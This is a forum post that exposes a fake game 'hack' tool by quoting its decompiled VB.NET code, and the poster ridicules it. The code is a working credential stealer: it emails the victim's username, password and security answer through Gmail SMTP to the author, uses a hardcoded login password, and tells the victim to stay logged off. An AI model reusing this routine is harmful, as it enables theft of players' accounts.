ZP HACK MADE BY ME!!!!!!!(with download,srry bout that)

Quote:
Originally Posted by kinibayVIP
Code:
        Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
            If (Me.TextBox1.Text = "") Then
                Interaction.MsgBox("Username Is Missing", MsgBoxStyle.OkOnly, Nothing)
                If (Me.TextBox2.Text = "") Then
                    Interaction.MsgBox("Password Is Mising", MsgBoxStyle.OkOnly, Nothing)
                    If (Me.TextBox3.Text = "") Then
                        Interaction.MsgBox("Security Answer Is Missing", MsgBoxStyle.OkOnly, Nothing)
                    End If
                End If
            End If
            Dim client As New SmtpClient
            Dim message As New MailMessage
            client.Credentials = New NetworkCredential("[B][U][Only registered and activated users can see links. Click Here To Register...][/U][/B]", "[B][U]13579qdbkp[/U][/B]")
            client.Port = &H24B
            client.Host = "smtp.gmail.com"
            client.EnableSsl = True
            message = New MailMessage With { _
                .From = New MailAddress("[SIZE="5"][COLOR="Red"][Only registered and activated users can see links. Click Here To Register...][/COLOR][/SIZE]") _
            }
            message.To.Add("[Only registered and activated users can see links. Click Here To Register...]")
            message.Subject = ("Hacked Account: " & Me.TextBox1.Text)
            message.Body = String.Concat(New String() { "Username : ", Me.TextBox3.Text, ", Password : ", Me.TextBox2.Text, ", Security Answer : ", Me.TextBox1.Text })
            client.Send(message)
            Interaction.MsgBox("DONT LOG ON FOR 4 HOURS or,you get banned,maybe!?!?!2 HOURS ONLY!!!!", MsgBoxStyle.OkOnly, Nothing)
        End Sub
HAHAHA! Biggest fail I ever seen! :D